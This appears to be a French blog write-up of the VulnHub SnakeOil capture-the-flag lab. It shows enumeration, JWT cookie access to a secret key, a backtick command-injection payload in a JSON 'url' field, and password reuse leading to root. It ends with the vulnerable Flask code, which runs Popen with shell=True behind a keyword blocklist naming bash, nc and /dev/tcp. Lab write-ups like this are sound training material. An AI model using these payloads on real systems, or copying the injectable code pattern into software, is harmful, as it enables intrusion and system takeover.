Accueil Solution du CTF SnakeOil de VulnHub
Post
Annuler

Solution du CTF SnakeOil de VulnHub

digitalworld.local: snakeoil est un autre CTF proposé par Donavan et récupérable sur la plateforme VulnHub.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -sCV -T5 -p- 192.168.56.123
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 17:01 CET
Nmap scan report for 192.168.56.123
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 73a48f94a22068505aaee1d3608dff55 (RSA)
|   256 f31bd8c30c3f5e6bac9952807bd6b6e7 (ECDSA)
|_  256 ea6164b63bd3840150d81aab382912e1 (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-title: Welcome to SNAKEOIL!
|_http-server-header: nginx/1.14.2
8080/tcp open  http    nginx 1.14.2
|_http-title:  Welcome to Good Tech Inc.'s Snake Oil Project 
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:F4:2D:F9 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds

Le port 80 ne semble rien contenir d’intéressant après une bonne grosse énumération avec la wordlist de DirBuster.

Le port 8080 qui a tout l’air d’une appli Python + Flask dispose de différents endpoints :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ feroxbuster -u http://192.168.56.123:8080/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.123:8080/
 🚀  Threads               │ 50
 📖  Wordlist              │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
405        1l       10w       64c http://192.168.56.123:8080/login
200        1l        2w       17c http://192.168.56.123:8080/test
200       47l      125w     2193c http://192.168.56.123:8080/1
200        1l        5w      140c http://192.168.56.123:8080/users
200       51l      151w     2356c http://192.168.56.123:8080/2
200       71l      170w     2882c http://192.168.56.123:8080/
200        1l        3w       29c http://192.168.56.123:8080/registration
200       45l      139w     2324c http://192.168.56.123:8080/4
200       47l      125w     2193c http://192.168.56.123:8080/01
200       51l      151w     2356c http://192.168.56.123:8080/02
200       45l      139w     2324c http://192.168.56.123:8080/04
200       61l      147w     2596c http://192.168.56.123:8080/create
500        1l        4w       37c http://192.168.56.123:8080/secret
405        4l       23w      178c http://192.168.56.123:8080/run
200       47l      125w     2193c http://192.168.56.123:8080/001
200       51l      151w     2356c http://192.168.56.123:8080/002
200       47l      125w     2193c http://192.168.56.123:8080/0001
200       45l      139w     2324c http://192.168.56.123:8080/004
200       51l      151w     2356c http://192.168.56.123:8080/0002
200       45l      139w     2324c http://192.168.56.123:8080/0004
200       47l      125w     2193c http://192.168.56.123:8080/000001
[####################] - 3m    119601/119601  0s      found:21      errors:0      
[####################] - 3m    119601/119601  542/s   http://192.168.56.123:8080/

Curly

On va utiliser cURL pour questionner les différentes URLs.

1
2
$ curl http://192.168.56.123:8080/users
{"users": [{"username": "patrick", "password": "$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040"}]}

Ce hash ne semble pas destiné à être cassé au vu du chiffrement utilisé (29000 itérations de pbkdf2-sha256 si je lis correctement).

J’ai toutefois lancé JtR dessus au cas où, avant de laisser tomber.

J’ai ensuite jeté mon dévolu sur le script de login :

1
2
3
4
5
6
7
8
9
10
$ curl http://192.168.56.123:8080/login
{"message": "The method is not allowed for the requested URL."}
$ curl -XPOST http://192.168.56.123:8080/login
{"message": {"username": "Username field cannot be blank."}}
$ curl -XPOST http://192.168.56.123:8080/login --data "username=patrick"
{"message": {"password": "Password field cannot be blank."}}
$ curl -XPOST http://192.168.56.123:8080/login --data "username=patrick&password=test"
{"message": "Wrong credentials"}
$ curl -XPOST http://192.168.56.123:8080/login --data "username=a&password=test"
{"message": "User a doesn't exist"}

Au vu de la réponse spécifique quand l’utilisateur n’existe pas, j’ai tenté de brute-forcer les noms, mais seul patrick en est ressorti.

L’URL /run attend elle aussi des données soumises via POST.

1
2
$ curl -XPOST http://192.168.56.123:8080/run
{"message":"Please provide URL to request in the form url:port. Example: 127.0.0.1:12345","success":false}

J’ai débord tenté de trouver un paramètre valide avec la soumission standard (comprendre x-www-form-urlencoded) :

1
ffuf -X POST -u 'http://192.168.56.123:8080/run' -d 'FUZZ=192.168.56.1:9999' -H 'Content-Type: application/x-www-form-urlencoded' -w wordlists/common_query_parameter_names.txt -fr "Please provide URL"

Finalement en JSON c’est accepté, mais il faut disposer aussi d’une clé secrète :

1
2
$ curl -XPOST http://192.168.56.123:8080/run -H "Content-Type: application/json" -d '{"url": "192.168.56.1:9999"}'
{"message":"We need your secret key!","success":false}

Le nom du paramètre était relativement simple à trouver :

1
2
$ curl -XPOST http://192.168.56.123:8080/run -H "Content-Type: application/json" -d '{"url": "192.168.56.1:9999", "secret_key": "toto"}'
{"message":"Wrong secret key! Alert will be raised!","success":false}

J’ai ensuite passé pas mal de temps à trouver ce que je devais passer pour secret_key. Bien sûr, je me rappelais l’existence de l’endpoint /secret mais je ne savais pas comment y accéder ni pourquoi il retournait un statut 500.

Finalement, c’était assez logique : il fallait créer un compte via /registration, puis se connecter via /login :

1
2
3
4
$ curl -XPOST http://192.168.56.123:8080/registration --data "username=devloop&password=devloop"
{"message": "User devloop was created. Please use the login API to log in!", "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY3ODY5ODYxMywianRpIjoiNGE1MTIwNWItNTI5MS00MzBkLTkyNDMtYzE2N2NkNjhkYWI5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmxvb3AiLCJuYmYiOjE2Nzg2OTg2MTMsImV4cCI6MTY3ODY5OTUxM30.hTSQloDLWqb3O77kjpX5bl9fpTchedpx4znE6J79_Wk"}
$ curl -XPOST http://192.168.56.123:8080/login --data "username=devloop&password=devloop"
{"message": "Logged in as devloop", "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY3ODY5ODc0OSwianRpIjoiMGNmMGY5MWUtNDc0OC00ZjUwLWFmODQtZjlhOTllMjgzOTdmIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmxvb3AiLCJuYmYiOjE2Nzg2OTg3NDksImV4cCI6MTY3ODY5OTY0OX0.CRxrykSkdFSRNRd24rAbXxPg5bGAXr7ypkJFuI11cAY", "refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY3ODY5ODc0OSwianRpIjoiZGI1Mjc0NTItMGJmYS00ODRjLWI3MTQtMGY3MDVmOGRlZTM0IiwidHlwZSI6InJlZnJlc2giLCJzdWIiOiJkZXZsb29wIiwibmJmIjoxNjc4Njk4NzQ5LCJleHAiOjE2Nzg3MDIzNDl9.YlvrWgLYV51gCE8v50He1bDHGmsBYnwMqTwn7XA7nAE"}

On pouvait alors questionner l’endpoint /secret. On disposait d’un indice dans l’un des posts du blog (l’appli Flask est grosso modo un blog) via une URL qui mentionnait différentes solutions d’authentification (Configuration Options flask-jwt-extended 4.4.4 documentation). Après quelques essais, c’était l’authentification par cookie qu’il fallait utiliser :

1
2
$ curl http://192.168.56.123:8080/secret -H "Cookie: access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY3ODcwNzMzOCwianRpIjoiMzk2NWMxMWYtOTljYy00OWUyLTgzNTYtOGZjNmM2MGZjMWZhIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmxvb3AiLCJuYmYiOjE2Nzg3MDczMzgsImV4cCI6MTY3ODcwODIzOH0.R1UKwM6-8Z-xIGmpTBeZy5y5TZmtvzj1IFqtnuSf1zw;"
{"ip-address": "", "secret_key": "commandexecutionissecret"}

Il fallait aussi que le token soit assez frais. J’ai dû re-procéder à une authentification.

Injection de commande

On peut finalement questionner l’endpoint /run :

1
2
$ curl -XPOST http://192.168.56.123:8080/run -H "Content-Type: application/json" -d '{"url": "192.168.56.1:9999", "secret_key": "commandexecutionissecret"}'
{"message":"  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\r100    20  100    20    0     0   6666      0 --:--:-- --:--:-- --:--:--  6666\n","success":false}

Cela génère une requête cURL dont on peut capturer la requête :

1
2
3
4
GET / HTTP/1.1
Host: 192.168.56.1:9999
User-Agent: curl/7.64.0
Accept: */*

Après avoir testé l’hypothèse que le script download un fichier puis l’exécute ou l’interprète (langage bash, python, php), c’est finalement l’essai d’une injection de commande qui a fonctionné :

1
2
$ curl -XPOST http://192.168.56.123:8080/run -H "Content-Type: application/json" -d '{"url": "192.168.56.1:9999`id`", "secret_key": "commandexecutionissecret"}'
{"message":"curl: (3) URL using bad/illegal format or missing URL\n --- snip --- Could not resolve host: groups=33(www-data),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)\n","success":false}

L’API semble avoir un filtre pour bloquer l’utilisation de nc mais les autres commandes telles que wget, chmod peuvent être injectées. C’est suffisant pour uploader une backdoor et récupérer un accès.

Password reuse

L’appli tournait avec l’utilisateur patrick :

1
2
3
4
5
patrick@SNAKEOIL:/home/patrick/flask_blog$ ls
__pycache__  app.py       flask_blog       flaskapi  init_db.py  models.py   requirements.txt  schema.sql  templates  wsgi.py
app.db       database.db  flask_blog.sock  hello.py  library.db  output.txt  resources.py      static      views.py
patrick@SNAKEOIL:/home/patrick/flask_blog$ id
uid=1000(patrick) gid=33(www-data) groups=33(www-data),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)

On trouve deux mots de passe dans la config Flask (app.py) :

1
2
3
4
5
6
7
8
9
10
11
12
app = Flask(__name__)
api = Api(app)
app.config['SECRET_KEY'] = 'snakeoilisnotgoodforcorporations'
app.config['JWT_COOKIE_SECURE'] = True
app.config['JWT_SECRET_KEY'] = 'NOreasonableDOUBTthisPASSWORDisGOOD'
app.config['JWT_ACCESS_TOKEN_EXPIRES'] = timedelta(minutes=15)
app.config['JWT_REFRESH_TOKEN_EXPIRES'] = timedelta(hours=1)
app.config['JWT_TOKEN_LOCATION'] = ['cookies']
app.config['JWT_COOKIE_CSRF_PROTECT'] = False # development setting!

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///app.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

Le second mot de passe est aussi celui du compte Unix. Et l’utilisateur peut exécuter n’importe quelle commande en tant que root si le mot de passe est saisi :

1
2
3
4
5
6
7
patrick@SNAKEOIL:/home/patrick/flask_blog$ sudo su
[sudo] password for patrick:
root@SNAKEOIL:/home/patrick/flask_blog# cd /root
root@SNAKEOIL:~# ls
proof.txt  sudoers.bak
root@SNAKEOIL:~# cat proof.txt 
Congratulations on obtaining a root shell on this machine! :-)

How it works

Voici juste un extrait de l’appli Flask pour l’endpoint /run :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# backdoor. dangerous!

@app.route("/run", methods=["POST"])
def backdoor():
    req_json = request.get_json()

    if req_json is None or "url" not in req_json:
        abort(400, description="Please provide URL to request in the form url:port. Example: 127.0.0.1:12345")

    if "secret_key" not in req_json:
        abort(400, description="We need your secret key!")

    if req_json["secret_key"] != "commandexecutionissecret":
        abort(400, description="Wrong secret key! Alert will be raised!")

    # write some validation rules to stop shell commands

    if "bash" in req_json["url"]:
        abort(400, description="Banned command!")

    if "python" in req_json["url"]:
        abort(400, description="Banned command!") 

    if "/dev/tcp" in req_json["url"]:
        abort(400, description="Banned command!")

    if "nc" in req_json["url"]:
        abort(400, description="Banned command!")

    if "mkfifo" in req_json["url"]:
        abort(400, description="Banned command!")

    if "php" in req_json["url"]:
        abort(400, description="Banned command!")

    # if the command is allowed, run it because it is probably safe.

    proc = Popen("/usr/bin/curl " + req_json["url"] + " > output.txt", stdout=PIPE, stderr=PIPE, shell=True)

    try:
        outs, errs = proc.communicate(timeout=1)
    except TimeoutExpired:
        proc.kill()
        abort(500, description="The timeout is expired!")

    if errs:
        abort(500, description=errs.decode('utf-8'))

    return jsonify(success=True, message=outs.decode('utf-8'))

C’est assez rare de devoir jouer avec une API sur un CTF mais je trouve ça assez réaliste. L’autre CTF que je connais qui s’en rapprochait était le CTF SP: Alphonse

Cet article est sous licence CC BY 4.0 par l'auteur.